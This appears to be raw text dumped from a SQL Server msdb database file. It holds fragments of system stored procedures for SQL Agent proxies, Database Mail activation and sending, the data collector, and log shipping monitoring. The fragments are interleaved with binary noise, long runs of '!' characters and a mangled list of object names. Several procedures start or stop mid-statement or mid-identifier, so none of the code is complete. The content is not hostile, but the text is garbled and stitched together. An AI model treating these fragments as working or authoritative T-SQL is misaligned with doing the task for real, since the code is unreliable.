    IF (@target_proxy_id IS NOT NULL) OR (@target_proxy_name IS NOT NULL AND @target_proxy_name <> N'') 
    BEGIN
        EXECUTE @retval = sp_verify_proxy_identifiers '@target_proxy_name',
                                                 '@target_proxy_id',
                                                 @target_proxy_name OUTPUT,
                                                 @target_proxy_id   OUTPUT

        IF (@retval <> 0)
        BEGIN
            -- exception message was raised inside sp_verify_proxy_identifiers; we dont need to RAISERROR again here
            RETURN(1) -- Failure
        END
    END
 
    -- Validate that  current proxy id and target proxy id are not the same
    IF(@current_proxy_id = @target_proxy_id)
    BEGIN
        RAISERROR(14399, -1, -1, @current_proxy_id, @target_proxy_id)
	RETURN(1) -- Failure
    END

    DECLARE @job_id UNIQUEIDENTIFIER
    DECLARE @step_id int
    DECLARE @proxy_id int
    DECLARE @subsystem_id int

    -- cursor to enumerate list of job steps what has proxy_id as current proxy_id
    DECLARE @jobstep_cursor CURSOR
    SET @jobstep_cursor = CURSOR FOR
    SELECT js.job_id, js.step_id,  js.proxy_id , subsys.subsystem_id
    FROM sysjobsteps js  
    JOIN syssubsystems subsys ON js.subsystem = subsys.subsystem
    WHERE js.proxy_id = @current_proxy_id

    OPEN @jobstep_cursor
    FETCH NEXT FROM @jobstep_cursor INTO @job_id, @step_id, @proxy_id, @subsystem_id

    WHILE @@FETCH_STATUS = 0
    BEGIN
        -- current proxy might have been granted to be used by this specific subsystem
        -- making sure that the target proxy has been granted access to same subsystem
        -- Grant target proxy to subsystem if it was not granted before
        IF NOT EXISTS( SELECT  DISTINCT ps.proxy_id, subsyst.subsystem_id
                        FROM  syssubsystems subsyst  
                        JOIN sysproxysubsystem  ps ON  (ps.subsystem_id = subsyst.subsystem_id 
				                        AND ps.proxy_id = @target_proxy_id
				                        AND ps.subsystem_id = @subsystem_id)
                    )
        BEGIN
            -- throw error that user needs to grant permission to this target proxy
            IF @target_proxy_id IS NOT NULL
            BEGIN
		     RAISERROR(14400, -1, -1, @target_proxy_id, @subsystem_id)
		     RETURN(1) -- Failure
            END
        END

        -- Update proxy_id for job step with target proxy id using sp_update_jobstep 
        EXEC sp_update_jobstep @job_id = @job_id, @step_id = @step_id , @proxy_name = @target_proxy_name
              
        FETCH NEXT FROM @jobstep_cursor INTO @job_id, @step_id, @proxy_id, @subsystem_id
    END

    CLOSE @jobstep_cursor
    DEALLOCATE @jobstep_cursor

    RETURN(0)
END
0[ /8(suser_sname())01z S
8-- sp_sysmail_activate : Starts the DatabaseMail process if it isn't already running
--
CREATE PROCEDURE [dbo].[sp_sysmail_activate]
AS
BEGIN
    DECLARE @mailDbName sysname
    DECLARE @mailDbId INT
    DECLARE @mailEngineLifeMin INT
    DECLARE @loggingLevel nvarchar(256)
    DECLARE @loggingLevelInt int   
    DECLARE @parameter_value nvarchar(256)
    DECLARE @localmessage nvarchar(max)
    DECLARE @readFromConfigFile INT
    DECLARE @rc INT

    SET NOCOUNT ON
    EXEC sp_executesql @statement = N'RECEIVE TOP(0) * FROM msdb.dbo.ExternalMailQueue'

    EXEC @rc = msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'DatabaseMailExeMinimumLifeTime', 
                                                        @parameter_value = @parameter_value OUTPUT
    IF(@rc <> 0)
        RETURN (1)

    --ConvertToInt will return the default if @parameter_value is null or config value can't be converted
    --Setting max exe lifetime is 1 week (604800 secs). Can't see a reason for it to ever run longer that this
    SET @mailEngineLifeMin = dbo.ConvertToInt(@parameter_value, 604800, 600) 

    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'ReadFromConfigurationFile', 
                                                  @parameter_value = @parameter_value OUTPUT
    --Try to read the optional read from configuration file:
    SET @readFromConfigFile = dbo.ConvertToInt(@parameter_value, 1, 0) 

    --Try and get the optional logging level for the DatabaseMail process
    EXEC msdb.dbo.sysmail_help_configure_value_sp @parameter_name = N'LoggingLevel', 
                                                  @parameter_value = @loggingLevel OUTPUT

    --Convert logging level into string value for passing into XP
    SET @loggingLevelInt = dbo.ConvertToInt(@loggingLevel, 3, 2) 
    IF @loggingLevelInt = 1
       SET @loggingLevel = 'Normal'
    ELSE IF @loggingLevelInt = 3
       SET @loggingLevel = 'Verbose'
    ELSE -- default
       SET @loggingLevel = 'Extended'

    SET @mailDbName = DB_NAME()
    SET @mailDbId   = DB_ID()

    EXEC @rc = master..xp_sysmail_activate @mailDbId, @mailDbName, @readFromConfigFile,
    @mailEngineLifeMin, @loggingLevel
    IF(@rc <> 0)
    BEGIN
        SET @localmessage = FORMATMESSAGE(14637)
        exec msdb.dbo.sysmail_logmailevent_sp @event_type=3, @description=@localmessage
    END
    ELSE
    BEGIN
        SET @localmessage = FORMATMESSAGE(14638)
        exec msdb.dbo.sysmail_logmailevent_sp @event_type=0, @description=@localmessage
    END

    RETURN @rc
END
0E 78CREATE PROCEDURE [dbo].[sp_syscollector_verify_collector_state]
    @desired_state          int
WITH EXECUTE AS OWNER -- 'MS_DataCollectorInternalUser'
AS
BEGIN
    DECLARE @collector_enabled      INT
    SET @collector_enabled = CONVERT(int, (SELECT parameter_value FROM dbo.syscollector_config_store_internal
                            WHERE parameter_name = 'CollectorEnabled'))

    IF (@collector_enabled IS NULL)
    BEGIN
        RAISERROR(14691, -1, -1)
        RETURN(1)
    END

    IF (@collector_enabled = 0) AND (@desired_state = 1)
    BEGIN
        RAISERROR(14681, -1, -1)
        RETURN(1)
    END

    IF (@collector_enabled = 1) AND (@desired_state = 0)
    BEGIN
        RAISERROR(14690, -1, -1)
        RETURN(1)
    END

    RETURN(0)
END
0ݓ /8(suser_sname())!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!N}`<()v=ll. Atleast one of message, subject, query,
    --attachments must be specified.
    IF( (@body IS NULL AND @query IS NULL AND @file_attachments IS NULL AND @subject IS NULL)
       OR
    ( (LEN(@body) IS NULL OR LEN(@body) <= 0)  
       AND (LEN(@query) IS NULL  OR  LEN(@query) <= 0)
       AND (LEN(@file_attachments) IS NULL OR LEN(@file_attachments) <= 0)
       AND (LEN(@subject) IS NULL OR LEN(@subject) <= 0)
    )
    )
    BEGIN
       RAISERROR(14624, 16, 1, '@body, @query, @file_attachments, @subject')
       RETURN 19
    END   
    ELSE
       IF @subject IS NULL OR LEN(@subject) <= 0
          SET @subject='SQL Server Message'

    --Recipients cannot be empty. Atleast one of the To, Cc, Bcc must be specified
    IF ( (@recipients IS NULL AND @copy_recipients IS NULL AND 
       @blind_copy_recipients IS NULL
        )     
       OR
        ( (LEN(@recipients) IS NULL OR LEN(@recipients) <= 0)
       AND (LEN(@copy_recipients) IS NULL OR LEN(@copy_recipients) <= 0)
       AND (LEN(@blind_copy_recipients) IS NULL OR LEN(@blind_copy_recipients) <= 0)
        )
    )
    BEGIN
       RAISERROR(14624, 16, 1, '@recipients, @copy_recipients, @blind_copy_recipients')
       RETURN 20
    END

    EXEC @rc = msdb.dbo.sysmail_verify_addressparams_sp @address = @recipients, @parameter_name='@recipients' 
    IF (@rc <> 0)
       RETURN @rc
    EXEC @rc = msdb.dbo.sysmail_verify_addressparams_sp @address = @copy_recipients, @parameter_name='@copy_recipients' 
    IF (@rc <> 0)
       RETURN @rc
    EXEC @rc = msdb.dbo.sysmail_verify_addressparams_sp @address = @blind_copy_recipients, @parameter_name='@blind_copy_recipients' 
    IF (@rc <> 0)
       RETURN @rc
    EXEC @rc = msdb.dbo.sysmail_verify_addressparams_sp @address = @reply_to, @parameter_name='@reply_to' 
    IF (@rc <> 0)
       RETURN @rc

    --If query is not specified, attach results and no header cannot be true.
    IF ( (@query IS NULL OR LEN(@query) <= 0) AND @attach_query_result_as_file = 1)
    BEGIN
       RAISERROR(14625, 16, 1)
       RETURN 21
    END

    --
    -- Execute Query if query is specified
    IF ((@query IS NOT NULL) AND (LEN(@query) > 0))
    BEGIN
        EXECUTE AS CALLER
        EXEC @rc = sp_RunMailQuery 
                    @query                     = @query,
               @attach_results            = @attach_query_result_as_file,
                    @query_attachment_filename = @query_attachment_filename,
               @no_output                 = @exclude_query_output,
               @query_result_header       = @query_result_header,
               @separator                 = @query_result_separator,
               @echo_error                = @append_query_error,
               @dbuse                     = @execute_query_database,
               @width                     = @query_result_width,
                @temp_table_uid            = @temp_table_uid,
            @query_no_truncate         = @query_no_truncate,
            @query_result_no_padding           = @query_result_no_padding
      -- This error indicates that query results size was over the configured MaxFileSize.
      -- Note, an error has already beed raised in this case
      IF(@rc = 101)
         GOTO ErrorHandler;
         REVERT
 
         -- Always check the transfer tables for data. They may also contain error messages
         -- Only one of the tables receives data in the call to sp_RunMailQuery
         IF(@attach_query_result_as_file = 1)
         BEGIN
             IF EXISTS(SELECT * FROM sysmail_attachments_transfer WHERE uid = @temp_table_uid)
            SET @AttachmentsExist = 1
         END
         ELSE
         BEGIN
             IF EXISTS(SELECT * FROM sysmail_query_transfer WHERE uid = @temp_table_uid AND uid IS NOT NULL)
            SET @QueryResultsExist = 1
         END

         -- Exit if there was an error and caller doesn't want the error appended to the mail
         IF (@rc <> 0 AND @append_query_error = 0)
         BEGIN
            --Error msg with be in either the attachment table or the query table 
            --depending on the setting of @attach_query_result_as_file
            IF(@attach_query_result_as_file = 1)
            BEGIN
               --Copy query results from the attachments table to mail body
               SELECT @RetErrorMsg = CONVERT(NVARCHAR(4000), attachment)
               FROM sysmail_attachments_transfer 
               WHERE uid = @temp_table_uid
            END
            ELSE
            BEGIN
               --Copy query results from the query table to mail body
               SELECT @RetErrorMsg = text_data 
               FROM sysmail_query_transfer 
               WHERE uid = @temp_table_uid
            END

            GOTO ErrorHandler;
         END
         SET @AttachmentsExist = @attach_query_result_as_file
    END
    ELSE
    BEGIN
        --If query is not specified, attach results cannot be true.
        IF (@attach_query_result_as_file = 1)
        BEGIN
           RAISERROR(14625, 16, 1)
           RETURN 21
        END
    END

    --Get the prohibited extensions for attachments from sysmailconfig.
    IF ((@file_attachments IS NOT NULL) AND (LEN(@file_attachments) > 0)) 
    BEGIN
        EXECUTE AS CALLER
        EXEC @rc = sp_GetAttachmentData 
                        @attachments = @file_attachments, 
                        @temp_table_uid = @temp_table_uid,
                        @exclude_query_output = @exclude_query_output
        REVERT
        IF (@rc <> 0)
            GOTO ErrorHandler;
        
        IF EXISTS(SELECT * FROM sysmail_attachments_transfer WHERE uid = @temp_table_uid)
            SET @AttachmentsExist = 1
    END

    -- Start a transaction if not already in one. 
    -- Note: For rest of proc use GOTO ErrorHandler for falures  
    if (@trancountSave = 0) 
       BEGIN TRAN @procName

    SET @tranStartedBool = 1

    -- Store complete mail message for history/status purposes  
    INSERT sysmail_mailitems
    (
       profile_id,   
       recipients,
       copy_recipients,
       blind_copy_recipients,
       subject,
       body, 
       body_format, 
       importance,
       sensitivity,
       file_attachments,  
       attachment_encoding,
       query,
       execute_query_database,
       attach_query_result_as_file,
       query_result_header,
       query_result_width,          
       query_result_separator,
       exclude_query_output,
       append_query_error,
       send_request_user,
       from_address,
       reply_to
    )
    VALUES
    (
       @profile_id,        
       @recipients, 
       @copy_recipients,
       @blind_copy_recipients,
       @subject,
       @body, 
       @body_format, 
       @importance,
       @sensitivity,
       @file_attachments,  
       'MIME',
       @query,
       @execute_query_database,  
       @attach_query_result_as_file,
       @query_result_header,
       @query_result_width,            
       @query_result_separator,
       @exclude_query_output,
       @append_query_error,
       @send_request_user,
       @from_address,
       @reply_to
    )

    SELECT @rc          = @@ERROR,
           @mailitem_id = SCOPE_IDENTITY()

    IF(@rc <> 0)
        GOTO ErrorHandler;

    --Copy query into the message body
    IF(@QueryResultsExist = 1)
    BEGIN
      -- if the body is null initialize it
        UPDATE sysmail_mailitems
        SET body = N''
        WHERE mailitem_id = @mailitem_id
        AND body is null

        --Add CR, a \r followed by \n, which is 0xd and then 0xa
        SET @CR_str = CHAR(13) + CHAR(10)
        UPDATE sysmail_mailitems
        SET body.WRITE(@CR_str, NULL, NULL)
        WHERE mailitem_id = @mailitem_id

   --Copy query results to mail body
        UPDATE sysmail_mailitems
        SET body.WRITE( (SELECT t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Tv`\?_:_:_:_:HBDdB@?@B?PPPCpib	[		
T


MF?


81*}#voha
N,$y-x<9nglet*] I   &![!!!B"s"""$#i##$>$$$%B%%%'&t&&"'''s((/))*H***9++	,v,,-e--.t../o//K000d112{222 3[334<44452555?6n666
767k77-888 9g9992:::G;;;`<<<#=V===]>>?\??@S@@@A]AA	BXBB0??3agent_datetime0? A?-default_one0?@?SDF__MSdbms_da__dest___249272080?@@?SDF__MSdbms_ma__defau__1DE574790?@@?SDF__MSdbms_ma__src_p__1920BF5C0?@@?SDF__suspect_p__last___54968AE50?@?SDF__syscollec__loggi__0FB750B30?@@?SDF__sysdac_in__creat__0E5918260?@@?SDF__sysdbmain__durat__3335971A0?@@?SDF__sysdbmain__max_r__25DB9BFC0?@@?SDF__sysdbmain__remot__24E777C30?@@?SDF__sysjobsch__next___5BE2A6F20?@@?SDF__sysmail_a__last___0E391C950?@@?SDF__sysmail_c__last___2610A6260?@?SDF__sysmail_m__send___2AD55B430?@@?SDF__sysmail_p__last___04AFB25B0?@@?SDF__sysmail_p__last___13F1F5EB0?@?SDF__sysmail_s__last___224015420?@@?SDF__sysmail_s__use_d__1F63A8970?@@?SDF__sysmaintp__msx_p__0EF836A40?@?SDF__syspolicy__date___02284B6B0?@?SDF__syspolicy__help___22951AFD0?@@?SDF__syspolicy__is_na__0504B8160?@@?SDF__syspolicy__manda__116A8EFB0?@@?SDF__sysschedu__date___534D60F10?@?SDF__sysutilit__compu__7187CF4E0?@?SDF__sysutilit__creat__095F58DF0?@?SDF__sysutilit__dac_w__66D536B10?@?SDF__sysutilit__datab__347EC10E0?@?SDF__sysutilit__insta__6BCEF5F80?@@?SDF__sysutilit__is_co__009508B40?@@?SDF__sysutilit__is_da__0371755F0?@@?SDF__sysutilit__is_fi__0DEF03D20?@@?SDF__sysutilit__is_mi__10CB707D0?@@?SDF__sysutilit__is_vo__0B1297270?@@?SDF__sysutilit__l3_ca__6ADAD1BF0?@@?SDF__sysutilit__mi_on__733B0D960?@?SDF__sysutilit__mi_wi__76177A410?@@?SDF__sysutilit__mi_wi__79E80B250?@@?SDF__sysutilit__over___4EFDAD200?@?SDF__sysutilit__proce__597B3B930?pA?SDF__sysutilit__volum__384F51F20?@?SFK__backupfil__backu__4A18FC720?@?SFK__sysdbmain__plan___2B9475520?@?SFK__sysmail_p__accou__1209AD790?@?SFK__syspolicy__polic__627A95E80?@@?Yfk_MSdbms_datatype_mapping_map_id0?@?AFK_subplan_msx_job_id0?@@?{FK_syscollector_collection_sets_collection_sysjobs0?@?cFK_syscollector_execution_stats_log_id0?@?FK_syspolicy_object_sets_syspolicy_management_facets0?@@?yFK_syspolicy_policies_syspolicy_policy_categories0?@@?UFK_sysutility_mi_smo_properties0?@@?cfn_syscollector_get_execution_log_tree0?@@?Qfn_sysdac_get_currentusername0?@@?Kfn_sysdac_is_login_creator0?@?]fn_sysutility_mi_get_collect_script0?@@?gfn_sysutility_mi_get_validate_wmi_script0?@@?efn_sysutility_ucp_get_applicable_policy0?@?efn_sysutility_ucp_get_policy_violations0?@?3logmarkhistory0?@@?5MSdbms_datatype0?@?SPK__log_ship__ED3BE111B6D897E90?@@?SPK__sysjobst__9E2397E06FA0D04D0?@?SPK__syspolic__096AA2E9D00BEAF60?@?SPK__sysutili__72E12F1A539BA7C80?@@?Kpk_MSdbms_datatype_mapping0?@@?gPK_syscollector_collection_sets_internal0?@@?UPK_syscollector_execution_stats0?@@?QPK_sysmaintplan_taskdetail_id0?@@?SPK_syspolicy_policy_categories0?@?;pk_sysssispackages0?@?kPK_sysutility_ucp_dac_health_in!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(TJiv`ternal_name0?@@?iPK_sysutility_ucp_mi_health_internal_name0?@?oPK_sysutility_ucp_policy_violations_internal0?@@?Gqueue_messages_1231474840?@?3restorehistory0?@@?5sp_add_category0?@@?3sp_add_jobstep0?@?=sp_add_notification0?@@?Gsp_add_targetservergroup0?@?Ksp_clear_dbmaintplan_by_db0?@@?5sp_delete_alert0?0A?]sp_delete_log_shipping_monitor_jobs0?@?5sp_delete_proxy0?@?1sp_enlist_tsx0?@@?_sp_enum_sqlagent_subsystems_internal0?@?Wsp_get_log_shipping_monitor_info0?@@?1sp_get_script0?@?-sp_help_job0?@?=sp_help_jobschedule0?@@?Gsp_help_maintenance_plan0?@?Esp_is_sqlagent_starting0?@?Msp_maintplan_close_logentry0?@?Msp_maintplan_update_subplan0?@?;sp_notify_operator0?@?Ksp_remove_job_from_targets0?@?3sp_send_dbmail0?@@?Ksp_set_sqlagent_properties0?@?;sp_sqlagent_notify0?@?Asp_ssis_deletepackage0?@?Esp_ssis_setpackageroles0?@@?_sp_syscollector_configure_sql_dumper0?@@?Msp_syscollector_create_jobs0?@?Msp_syscollector_delete_jobs0?@@?asp_syscollector_event_oncollectionend0?@@?_sp_syscollector_event_onpackagebegin0?@@?}sp_syscollector_get_collection_set_execution_status0?@@?usp_syscollector_get_warehouse_connection_string0?@@?Wsp_syscollector_set_cache_window0?@?esp_syscollector_text_query_plan_lookpup0?@@?ssp_syscollector_update_collection_set_internal0?@?csp_syscollector_verify_collector_state0?@@?Csp_sysdac_add_instance0?@@?Osp_sysdac_ensure_dac_creator0?@@?Ysp_sysdac_rollback_committed_step0?@@?Isp_sysdac_update_instance0?@@?gsp_sysmanagement_add_shared_server_group0?@@?isp_sysmanagement_move_shared_server_group0?@@?msp_sysmanagement_update_shared_server_group0?@@?Esp_syspolicy_add_policy0?@@?Ysp_syspolicy_add_target_set_level0?@@?Qsp_syspolicy_create_purge_job0?@@?]sp_syspolicy_delete_policy_category0?@@?Msp_syspolicy_dispatch_event0?@@?esp_syspolicy_log_policy_execution_start0?@@?Qsp_syspolicy_rename_condition0?@?Ksp_syspolicy_update_policy0?@@?_sp_syspolicy_update_target_set_level0?@@?usp_syspolicy_verify_policy_category_identifiers0?@@?gsp_sysutility_mi_configure_proxy_account0?@@?Esp_sysutility_mi_enroll0?@@?gsp_sysutility_mi_remove_ucp_registration0?@?msp_sysutility_ucp_calculate_computer_health0?@@?[sp_sysutility_ucp_calculate_health0?@?Osp_sysutility_ucp_initialize0?@@?msp_sysutility_ucp_recreate_synonym_internal0?@?5sp_update_alert0?@?5sp_update_proxy0?@?;sp_verify_category0?@?;sp_verify_job_time0?@?Ssp_verify_operator_identifiers0?@?Ssp_verify_schedule_identifiers0?@?;SQLAGENT_SUSER_SID0?@?Osyn_sysutility_ucp_databases0?@?Ksyn_sysutility_ucp_volumes0?@?+sysbinobjs0?@?1syschildinsts0?@?csyscollector_collection_items_internal0?@?Isyscollector_config_store0?@?asyscollector_execution_stats_internal0?@?/sysconvgroup0?@?=sysdatatypemappings0?@?5sysdbmaintplans0?@?-sysfoqueues0?@?)sysiscols0?@?5sysjobstepslogs0?@?Usysmail_add_principalprofile_sp0?@?mSYSMAIL_CONFIGURATION_ParamnameMustBeUnique0?@?Wsysmail_delete_profileaccount_sp0?@?Wsysmail_help_principalprofile_sp0?@?Esysmail_mailattachments0?@?Gsysmail_principalprofile0?@?9sysmail_sentitems0?@?[sysmail_update_principalprofile_sp0?@?7sysmaintplan_log0?@?msysmanagement_shared_server_groups_internal0?@?Ksysoriginatingservers_view0?@?]syspolicy_delete_job_delete_trigger0?@?Osyspolicy_fn_get_bad_filters0?@?esyspolicy_instead_delete_policy_trigger0?@?esyspolicy_policy_category_subscriptions0?@?Msyspolicy_target_set_levels0?@?Isyspolicy_validate_events0?@?-sysprufiles0?@?3sysscalartypes0!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(-Wlv<CREATE PROCEDURE sp_get_log_shipping_monitor_info
  @primary_server_name     sysname = N'%',
  @primary_database_name   sysname = N'%',
  @secondary_server_name   sysname = N'%',
  @secondary_database_name sysname = N'%'
AS BEGIN
  SET NOCOUNT ON
  DECLARE @lsp TABLE (
    primary_server_name            sysname       COLLATE database_default NOT NULL,
    primary_database_name          sysname       COLLATE database_default NOT NULL,
    secondary_server_name          sysname       COLLATE database_default NOT NULL,
    secondary_database_name        sysname       COLLATE database_default NOT NULL,
    backup_threshold               INT           NOT NULL,
    backup_threshold_alert         INT           NOT NULL,
    backup_threshold_alert_enabled BIT           NOT NULL,
    last_backup_filename           NVARCHAR(500) COLLATE database_default NOT NULL,
    last_backup_last_updated       DATETIME      NOT NULL,
    backup_outage_start_time       INT           NOT NULL,
    backup_outage_end_time         INT           NOT NULL,
    backup_outage_weekday_mask     INT           NOT NULL,
    backup_in_sync                 INT           NULL, -- 0 = in sync, -1 = out of sync, 1 = in outage window
    backup_delta                   INT           NULL,
    last_copied_filename           NVARCHAR(500) COLLATE database_default NOT NULL,
    last_copied_last_updated       DATETIME      NOT NULL,
    last_loaded_filename           NVARCHAR(500) COLLATE database_default NOT NULL,
    last_loaded_last_updated       DATETIME      NOT NULL,
    copy_delta                     INT           NULL,
    copy_enabled                   BIT           NOT NULL,
    load_enabled                   BIT           NOT NULL,
    out_of_sync_threshold          INT           NOT NULL,
    load_threshold_alert           INT           NOT NULL,
    load_threshold_alert_enabled   BIT           NOT NULL,
    load_outage_start_time         INT           NOT NULL,
    load_outage_end_time           INT           NOT NULL,
    load_outage_weekday_mask       INT           NOT NULL,
    load_in_sync                   INT           NULL, -- 0 = in sync, -1 = out of sync, 1 = in outage window
    load_delta                     INT           NULL,
    maintenance_plan_id             UNIQUEIDENTIFIER NULL,
    secondary_plan_id              UNIQUEIDENTIFIER NOT NULL)

  INSERT INTO @lsp

 SELECT
    primary_server_name,
    primary_database_name,
    secondary_server_name,
    secondary_database_name,
    backup_threshold,
    p.threshold_alert,
    p.threshold_alert_enabled,
    last_backup_filename,
    p.last_updated,
    p.planned_outage_start_time,
    p.planned_outage_end_time,
    p.planned_outage_weekday_mask,
    NULL,
    NULL,
    last_copied_filename,
    last_copied_last_updated,
    last_loaded_filename,
    last_loaded_last_updated,
    NULL,
    copy_enabled,
    load_enabled,
    out_of_sync_threshold,
    s.threshold_alert,
    s.threshold_alert_enabled,
    s.planned_outage_start_time,
    s.planned_outage_weekday_mask,
    s.planned_outage_end_time,
    NULL,
    NULL,
    maintenance_plan_id,
    secondary_plan_id
  FROM msdb.dbo.log_shipping_primaries p, msdb.dbo.log_shipping_secondaries s
  WHERE 
    p.primary_id = s.primary_id AND
    primary_server_name LIKE @primary_server_name AND
    primary_database_name LIKE @primary_database_name AND
    secondary_server_name LIKE @secondary_server_name AND
    secondary_database_name LIKE @secondary_database_name

  DECLARE @load_in_sync                   INT
  DECLARE @backup_in_sync                 INT
  DECLARE @_primary_server_name           sysname 
  DECLARE @_primary_database_name         sysname 
  DECLARE @_secondary_server_name         sysname
  DECLARE @_secondary_database_name       sysname
  DECLARE @last_loaded_last_updated       DATETIME
  DECLARE @last_loaded_filename           NVARCHAR (500)
  DECLARE @last_copied_filename           NVARCHAR (500)
  DECLARE @last_backup_last_updated       DATETIME
  DECLARE @last_backup_filename           NVARCHAR (500)
  DECLARE @backup_outage_start_time       INT
  DECLARE @backup_outage_end_time         INT
  DECLARE @backup_outage_weekday_mask     INT
  DECLARE @backup_threshold               INT
  DECLARE @backup_threshold_alert_enabled BIT
  DECLARE @load_outage_start_time         INT
  DECLARE @load_outage_end_time           INT
  DECLARE @load_outage_weekday_mask       INT
  DECLARE @load_threshold                 INT
  DECLARE @load_threshold_alert_enabled   BIT
  DECLARE @backupdt                       DATETIME
  DECLARE @restoredt                      DATETIME
  DECLARE @copydt                         DATETIME
  DECLARE @rv                             INT
  DECLARE @dt                             DATETIME
  DECLARE @copy_delta                     INT
  DECLARE @load_delta                     INT
  DECLARE @backup_delta                   INT
  DECLARE @last_copied_last_updated       DATETIME

  SELECT @dt = GETDATE ()

  DECLARE sync_update CURSOR FOR
    SELECT 
      primary_server_name, 
      primary_database_name, 
      secondary_server_name, 
      secondary_database_name,
      last_backup_filename,
      last_backup_last_updated,
      last_loaded_filename,
      last_loaded_last_updated,
      backup_outage_start_time,
      backup_outage_end_time,
      backup_outage_weekday_mask,
      backup_threshold,
      backup_threshold_alert_enabled,
      load_outage_start_time,
      load_outage_end_time,
      out_of_sync_threshold,
      load_outage_weekday_mask,
      load_threshold_alert_enabled,
      last_copied_filename,
      last_copied_last_updated
    FROM @lsp
    FOR READ ONLY

  OPEN sync_update

loop:
  FETCH NEXT FROM sync_update INTO
    @_primary_server_name, 
    @_primary_database_name, 
    @_secondary_server_name, 
    @_secondary_database_name,
    @last_backup_filename,
    @last_backup_last_updated,
    @last_loaded_filename,
    @last_loaded_last_updated,
    @backup_outage_start_time,
    @backup_outage_end_time,
    @backup_outage_weekday_mask,
    @backup_threshold,
    @backup_threshold_alert_enabled,
    @load_outage_start_time,
    @load_outage_end_time,
    @load_threshold,
    @load_outage_weekday_mask,
    @load_threshold_alert_enabled,
    @last_copied_filename,
    @last_copied_last_updated

  IF @@fetch_status <> 0
    GOTO _loop

  EXECUTE @rv = sp_log_shipping_get_date_from_file @_primary_database_name, @last_backup_filename, @backupdt OUTPUT
  IF (@rv <> 0)
    SELECT @backupdt = @last_backup_last_updated
  EXECUTE @rv = sp_log_shipping_get_date_from_file @_primary_database_name, @last_loaded_filename, @restoredt OUTPUT
  IF  (@rv <> 0)
    SELECT @restoredt = @last_loaded_last_updated
  EXECUTE @rv = sp_log_shipping_get_date_from_file @_primary_database_name, @last_copied_filename, @copydt OUTPUT
  IF  (@rv <> 0)
    SELECT @copydt = @last_copied_last_updated
  
  EXECUTE @load_in_sync = msdb.dbo.sp_log_shipping_in_sync
    @restoredt,
    @backupdt,
    @load_threshold,
    @load_outage_start_time,
    @load_outage_end_time,
    @load_outage_weekday_mask,
    @load_threshold_alert_enabled,
    @load_delta OUTPUT

  EXECUTE @backup_in_sync = msdb.dbo.sp_log_shipping_in_sync
    @last_backup_last_updated,
    @dt,
    @backup_threshold,
    @backup_outage_start_time,
    @backup_outage_end_time,
    @backup_outage_weekday_mask,
    @backup_threshold_alert_enabled,
    @backup_delta OUTPUT

  EXECUTE msdb.dbo.sp_log_shipping_in_sync
    @copydt,
    @backupdt,
    1,0,0,0,0,
    @copy_delta OUTPUT

  UPDATE @lsp 
  SET backup_in_sync = @backup_in_sync, load_in_sync  = @load_in_sync, 
    copy_delta = @copy_delta, load_delta = @load_delta, backup_delta = @backup_delta
  WHERE primary_server_name = @_primary_server_name AND
    secondary_server_name = @_secon!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(/0&AvjCREATE PROCEDURE [dbo].[sp_syscollector_create_jobs]
    @collection_set_id        int,
    @collection_set_uid        uniqueidentifier,
    @collection_set_name    sysname,
    @proxy_id                int = NULL,
    @schedule_id            int = NULL,
    @collection_mode        smallint,
    @collection_job_id        uniqueidentifier OUTPUT,
    @upload_job_id            uniqueidentifier OUTPUT
AS
BEGIN
    SET NOCOUNT ON

    DECLARE @TranCounter INT
    SET @TranCounter = @@TRANCOUNT
    IF (@TranCounter > 0)
        SAVE TRANSACTION tran_syscollector_create_jobs
    ELSE
        BEGIN TRANSACTION

    BEGIN TRY

    -- job step names and commands shared between collection modes
    DECLARE @collection_set_id_as_char nvarchar(36)

    DECLARE @collection_step_command nvarchar(512)
    DECLARE @upload_step_command nvarchar(512)
    DECLARE @autostop_step_command nvarchar(512)
    DECLARE @purge_step_command nvarchar(1024)

    DECLARE @collection_step_name sysname
    DECLARE @upload_step_name sysname
    DECLARE @autostop_step_name sysname
    DECLARE @purge_step_name sysname

    DECLARE @job_name sysname
    DECLARE @job_id uniqueidentifier        
    DECLARE @description nvarchar(512)

    IF(@collection_set_id IS NOT NULL)
    BEGIN
        SET @collection_set_id_as_char = CONVERT(NVARCHAR(36), @collection_set_id)
        SET @collection_step_command = 
            N'dcexec -c -s ' + @collection_set_id_as_char + N' -i "$(ESCAPE_DQUOTE(MACH))\$(ESCAPE_DQUOTE(INST))"' + 
            N' -m ' + CONVERT(NVARCHAR(36), @collection_mode);
        SET @upload_step_command = 
            N'dcexec -u -s ' + @collection_set_id_as_char + N' -i "$(ESCAPE_DQUOTE(MACH))\$(ESCAPE_DQUOTE(INST))"';
        SET @autostop_step_command =
            N'exec dbo.sp_syscollector_stop_collection_set @collection_set_id=' + @collection_set_id_as_char 
            + N', @stop_collection_job = 0';  -- do not stop the collection job, otherwise you will abort yourself!
        SET @purge_step_command = 
            N'
            EXEC [dbo].[sp_syscollector_purge_collection_logs]
            '
    END

    -- verify that the proxy_id exists
    IF (@proxy_id IS NOT NULL)
    BEGIN
        DECLARE @proxy_name sysname
        DECLARE @retVal int
        -- this will throw an error of proxy_id does not exist
        EXEC @retVal = msdb.dbo.sp_verify_proxy_identifiers '@proxy_name', '@proxy_id', @proxy_name OUTPUT, @proxy_id OUTPUT
        IF (@retVal <> 0)
            RETURN (0)
    END

